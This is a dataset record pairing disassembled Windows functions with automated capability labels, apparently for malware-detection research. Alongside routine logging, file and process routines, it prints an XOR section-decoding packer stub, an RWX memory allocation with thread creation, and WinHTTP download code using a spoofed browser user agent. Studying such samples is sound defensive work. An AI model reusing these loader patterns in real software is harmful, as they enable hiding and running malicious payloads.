joyce8/EMBER2024-capa huggingface dataset:
Function at 0x421bb0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1420
call fcn.0043e6c0
mov eax, dword [0x4a12d8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 0x100
lea eax, [ebp - 0x40c]
xor edi, edi
push eax
push edi
mov dword [ebp - 0x1410], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x40c]
push 0x5c
push ecx
call dword [sym.imp.MSVCR100.dll_wcsrchr]
mov ebx, eax
add esp, 8
cmp ebx, edi
jne 0x421c04
lea ebx, [ebp - 0x40c]
jmp 0x421c07
add ebx, 2
lea edx, [ebp - 0x1418]
push edx
push 0x1000
lea eax, [ebp - 0x140c]
push eax
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
je 0x421d4a
mov eax, dword [ebp - 0x1418]
shr eax, 2
mov dword [ebp - 0x1414], eax
cmp eax, edi
jbe 0x421d4a
push esi
mov esi, dword [ebp + edi*4 - 0x140c]
test esi, esi
je 0x421d33
mov eax, dword [0x482324]
mov ecx, dword [str._unknown_]
mov edx, dword [0x482320]
push 0x1f4
mov dword [ebp - 0x204], eax
mov dword [ebp - 0x20c], ecx
mov ecx, dword [0x482328]
mov dword [ebp - 0x208], edx
mov edx, dword [0x48232c]
lea eax, [ebp - 0x1f8]
push 0
push eax
mov dword [ebp - 0x200], ecx
mov dword [ebp - 0x1fc], edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push esi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x421d26
lea ecx, [ebp - 0x1420]
push ecx
push 4
lea edx, [ebp - 0x141c]
push edx
push esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x421d26
mov ecx, dword [ebp - 0x141c]
push 0x104
lea eax, [ebp - 0x20c]
push eax
push ecx
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleBaseNameW]
mov ecx, ebx
lea eax, [ebp - 0x20c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x421d17
test dx, dx
je 0x421d13
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x421d17
add eax, 4
add ecx, 4
test dx, dx
jne 0x421cf1
xor eax, eax
jmp 0x421d1c
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x421d26
inc dword [ebp - 0x1410]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1414]
inc edi
cmp edi, eax
jb 0x421c40
mov eax, 1
pop esi
cmp dword [ebp - 0x1410], eax
jg 0x421d4c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0043e590
mov esp, ebp
pop ebp
ret
Function at 0x424cd0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x4a12d8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov ecx, 8
mov esi, str.C:SoraStreamSorastreamPlatform_
mov edi, 0x4a3188
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x808]
push eax
push 0
push 0
push 0x47d814
movsw word es:[edi], word [esi]
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x424da2
mov edx, dword [ebp - 0x808]
push eax
push eax
push 0x800
lea ecx, [ebp - 0x804]
push ecx
push 0xffffffffffffffff
push edx
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, dword [sym.imp.MSVCR100.dll_sprintf]
push str.Logs
push 0x482e64
push str.LudiumLab
lea eax, [ebp - 0x804]
push eax
push str._s_s_s_s
push 0x4a3988
call esi
push str.Baldrick.exe
push 0x4a3188
push str._sSoftware_s
push 0x4a4188
call esi
push str.TFormation_Win32.dll
push 0x4a3188
push str._sSoftware_s
push 0x4a4988
call esi
push str.TFormation_x64.dll
push 0x4a3188
push str._sSoftware_s
push 0x4a5188
call esi
add esp, 0x48
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0043e590
mov esp, ebp
pop ebp
ret

Function at 0x424dc0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1040
call fcn.0043e6c0
mov eax, dword [0x4a12d8]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
lea ecx, [ebp - 0x1034]
push ecx
mov dword [ebp - 0x1038], eax
call dword [sym.imp.MSVCR100.dll__ftime64]
lea edx, [ebp - 0x1034]
push edx
lea eax, [ebp - 0x24]
push 0x1a
push eax
call dword [sym.imp.MSVCR100.dll__ctime64_s]
mov edx, dword [esi*4 + 0x4a2abc]
push ebx
push edi
lea ecx, [ebp - 0x24]
push ecx
push edx
push str._s:_t_.24s_t__s__t_s_n
lea eax, [ebp - 0x1024]
push 0xfff
push eax
call dword [sym.imp.MSVCR100.dll__snprintf]
mov esi, eax
add esp, 0x2c
cmp esi, 0xffffffff
jne 0x424e37
mov esi, 0xfff
mov eax, dword [ebp - 0x1038]
push 0
lea ecx, [ebp - 0x103c]
push ecx
mov ecx, dword [eax + 8]
push esi
lea edx, [ebp - 0x1024]
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov byte [ebp + esi - 0x1024], 0
test eax, eax
jne 0x424e8a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ss_log_write_simple_failed_with_error__d__n
call dword [sym.imp.libssclient.dll_ss_OutputDebugStringA]
add esp, 8
xor eax, eax
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0043e590
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0043e590
mov esp, ebp
pop ebp
ret
Function at 0x4250b0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x4a12d8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, ecx
push edi
mov esi, ecx
lea edi, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4250d0
sub eax, edi
cmp eax, 4
jbe 0x425100
cmp byte [ecx], 0x5c
jne 0x425100
cmp byte [ecx + 1], 0x5c
jne 0x425100
cmp byte [ecx + 2], 0x3f
jne 0x425100
cmp byte [ecx + 3], 0x5c
jne 0x425100
mov eax, dword [ecx]
mov dword [ebp - 0x108], eax
lea esi, [ecx + 4]
mov al, byte [esi]
test al, al
je 0x42519b
mov edx, 1
sub edx, ecx
lea ebx, [ebp - 0x108]
mov dword [ebp - 0x10c], edx
sub ebx, esi
jmp 0x425127
mov edx, dword [ebp - 0x10c]
cmp al, 0x5c
je 0x42512f
cmp al, 0x2f
jne 0x42518a
lea eax, [esi - 1]
mov ecx, 1
add edx, eax
lea esp, [esp]
cmp ecx, edx
jge 0x425149
cmp byte [eax], 0x5c
je 0x42514e
cmp byte [eax], 0x2f
jne 0x425152
inc ecx
dec eax
jmp 0x425140
mov edx, esi
sub edx, ecx
cmp byte [edx], 0x3a
je 0x42518a
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
jne 0x42518a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4251d9
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov cl, byte [esi]
mov al, byte [esi + 1]
mov byte [ebx + esi], cl
inc esi
mov byte [ebx + esi], 0
test al, al
jne 0x425121
push 0
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x4251c3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4251d9
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043e590
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0043e590
mov esp, ebp
pop ebp
ret

Function at 0x425460
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.0043e6c0
lea eax, [ebp - 4]
push eax
push 0x400
lea ecx, [ebp - 0x1004]
push ecx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x425505
mov edx, dword [ebp - 4]
cmp edx, 4
jb 0x425505
shr edx, 2
or ecx, 0xffffffff
xor eax, eax
push esi
test edx, edx
je 0x4254f7
lea ebx, [ebx]
mov esi, dword [ebp + eax*4 - 0x1004]
cmp esi, edi
jae 0x4254cb
cmp ecx, 0xffffffff
je 0x4254c9
cmp dword [ebp + ecx*4 - 0x1004], esi
jae 0x4254cb
mov ecx, eax
inc eax
cmp eax, edx
jb 0x4254b0
cmp ecx, 0xffffffff
je 0x4254f7
mov edx, dword [ebp + 8]
mov eax, dword [ebp + ecx*4 - 0x1004]
push 0x104
lea esi, [ebp + ecx*4 - 0x1004]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4254fe
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4260a0
Capabilities:
Identify system language via api

Disassembly:
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
and eax, 0xff
cmp eax, 0x406
jg 0x426118
je case.0x4260c9.6
sub eax, 3
cmp eax, 0x1a
ja case.0x4260c9.4
movzx eax, byte [eax + 0x426184]
jmp dword [eax*4 + 0x426154]
mov dword [esi], 2
mov eax, esi
ret
mov dword [esi], 0
mov eax, esi
ret
mov dword [esi], 1
mov eax, esi
ret
mov dword [esi], 3
mov eax, esi
ret
mov dword [esi], 4
mov eax, esi
ret
mov dword [esi], 5
mov eax, esi
ret
mov dword [esi], 6
mov eax, esi
ret
mov dword [esi], 0xa
mov eax, esi
ret
cmp eax, 0x416
jg 0x426134
je case.0x4260c9.22
sub eax, 0x413
je case.0x4260c9.19
dec eax
jne case.0x4260c9.4
mov dword [esi], 7
mov eax, esi
ret
cmp eax, 0x41d
je case.0x4260c9.8
cmp eax, 0x813
jne case.0x4260c9.4
mov dword [esi], 8
mov eax, esi
ret
mov dword [esi], 9
mov eax, esi
ret

Function at 0x4263e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, eax
push esi
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x42645a
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x426459
push edi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x426459
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x426452
push edi
push ebx
push eax
call sub.MSVCR100.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea eax, [ebp - 4]
push eax
push 1
push esi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jns 0x426459
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop ebx
mov eax, dword [ebp - 4]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x429bc0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x4a12d8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
mov eax, esi
sub eax, 0xbb8
push edi
mov edi, ecx
je 0x429d1f
dec eax
je 0x429ca6
lea eax, [esi - 0xfa0]
cmp eax, 3
ja 0x429c87
call fcn.004261a0
mov eax, dword [eax]
mov ecx, esi
imul eax, eax, 0x1bc
imul ecx, ecx, 0xa14
lea edx, [ecx + edi - 0x9d77bc]
mov ecx, dword [eax + 0x4a1898]
push edx
push ecx
lea edx, [ebp - 0x204]
push 0x100
push edx
call dword [sym.imp.MSVCR100.dll_swprintf_s]
call fcn.004261a0
mov eax, dword [eax]
imul eax, eax, 0x1bc
mov eax, dword [eax + 0x4a1870]
push 4
push eax
lea ecx, [ebp - 0x204]
push ecx
xor ecx, ecx
call fcn.0040e130
add esp, 0x1c
cmp eax, 1
jne 0x429c87
mov eax, dword [edi + 0x2964]
test eax, eax
je 0x429c87
mov ecx, dword [eax + 0x2898]
test ecx, ecx
je 0x429c87
mov eax, dword [eax + 0x288c]
test eax, eax
je 0x429c87
lea edx, [esi - 0xfa0]
push edx
push eax
call ecx
mov eax, dword [ebp + 0xc]
push eax
push esi
mov ecx, edi
call dword [sym.imp.mfc100u.dll_CDialogEx::OnCommand]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043e590
mov esp, ebp
pop ebp
ret 8
mov eax, dword [0x1445a50]
test eax, eax
jne 0x429cce
push 4
call dword [sym.imp.mfc100u.dll_new]
add esp, 4
test eax, eax
je 0x429cc7
mov esi, eax
call fcn.004260a0
jmp 0x429cc9
xor eax, eax
mov dword [0x1445a50], eax
mov eax, dword [eax]
imul eax, eax, 0x1bc
mov ecx, dword [eax + 0x4a1864]
mov eax, dword [eax + 0x4a1860]
push 4
push ecx
push eax
xor ecx, ecx
call fcn.0040e130
add esp, 0xc
cmp eax, 1
jne 0x429d81
mov eax, dword [edi + 0x2964]
test eax, eax
je 0x429d81
mov ecx, dword [eax + 0x2894]
test ecx, ecx
je 0x429d17
mov eax, dword [eax + 0x288c]
test eax, eax
jne 0x429d7e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x1445a50]
test eax, eax
jne 0x429d47
push 4
call dword [sym.imp.mfc100u.dll_new]
add esp, 4
test eax, eax
je 0x429d40
mov esi, eax
call fcn.004260a0
jmp 0x429d42
xor eax, eax
mov dword [0x1445a50], eax
mov ecx, dword [eax]
mov esi, dword [edi + 0x294c]
imul ecx, ecx, 0x1bc
mov eax, dword [ecx + 0x4a1894]
call fcn.00427460
mov eax, dword [edi + 0x2964]
test eax, eax
je 0x429d81
mov ecx, dword [eax + 0x2890]
test ecx, ecx
je 0x429d81
mov eax, dword [eax + 0x288c]
test eax, eax
je 0x429d81
push eax
call ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0043e590
mov esp, ebp
pop ebp
ret 8
Function at 0x43e590
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a12d8]
jne 0x43e59a
repz ret
jmp fcn.0043eb04
Function at 0x401270
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x20
mov eax, dword [ebp + 8]
push eax
call fcn.00401240
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x4012f6
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4012f6
push 4
push 0x1000
mov edx, dword [ebp - 0x1c]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x20], eax
sub eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x14]
push ecx
push 0
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x20]
jmp 0x401301
mov edx, dword [ebp + 0xc]
mov dword [edx], 0
sub eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x401620
Capabilities:
Read http header

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0xd8
mov dword [ebp - 0xd4], 0x64
lea eax, [ebp - 0xd4]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 0xd4]
push ecx
lea edx, [ebp - 0xd0]
push edx
push 0
push 5
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
lea ecx, [ebp - 0xd0]
push ecx
call sub.ntdll.dll__wtoi
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x401680
Capabilities:
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
push 0x100
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push 0x40236c
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40176c
push 0
push 0
push 0
push 0
push 0
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401762
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401620
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401710
mov dword [ebp - 0x10], 0x2000
cmp dword [ebp - 0x10], 0
je 0x401762
push 4
push 0x1000
mov edx, dword [ebp - 0x10]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0
je 0x401751
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
jmp 0x401733
push 0x8000
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x401770
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
push 0
push 0
push 0
push 0
mov eax, dword [str.Opera_9.80__Windows_NT_6.0__Presto_2.12.388_Version_12.14]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4018c6
push 0
push 0x50
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4018bc
push 0x100
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4018b2
mov eax, dword [ebp + 0x10]
movzx ecx, word [eax]
cmp ecx, 0x50
jne 0x401832
push 0
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 0xffffffffffffffff
push str.Content_Type:_application_x_www_form_urlencoded
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [ebp - 0x1c], eax
jmp 0x40184b
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4018a8
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0xc]
push edx
call fcn.00401620
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40187c
mov dword [ebp - 0x14], 0x500000
push 4
push 0x1000
mov eax, dword [ebp - 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp - 0x10]
mov dword [edx], eax
mov eax, dword [ebp - 4]
push ebp
pop esp
pop ebp
ret
Function at 0x4018e0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
push 0
push 0
push 0
push 0
mov eax, dword [str.Opera_9.80__Windows_NT_6.0__Presto_2.12.388_Version_12.14]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401a3b
push 0
push 0x50
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x401a31
push 0x100
push 0
push 0
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401a27
mov eax, dword [ebp + 0xc]
movzx ecx, word [eax]
cmp ecx, 0x50
jne 0x4019a1
push 0
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp + 0x20]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [ebp - 0x1c], eax
jmp 0x4019ba
push 0
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401a1d
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
push eax
call fcn.00401620
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4019eb
mov dword [ebp - 0x14], 0x3e8
cmp dword [ebp - 0x14], 0
je 0x401a1d
push 4
push 0x1000
mov ecx, dword [ebp - 0x14]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 4], eax
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x401a50
Capabilities:
Initialize winhttp library

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0
push 0
push 0
push 0
mov eax, dword [str.Opera_9.80__Windows_NT_6.0__Presto_2.12.388_Version_12.14]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401aa1
push 0
push 0x50
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401aa1
mov eax, dword [ebp - 8]
jmp 0x401aa3
xor eax, eax
push ebp
pop esp
pop ebp
ret

Function at 0x401cd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0x40
push 0x1000
mov eax, dword [ebp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
pop ebp
ret

Function at 0x401cf0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop ebp
ret
Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x3c077b93
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4320d2
mov ebx, 0x42f314
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x34964962
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219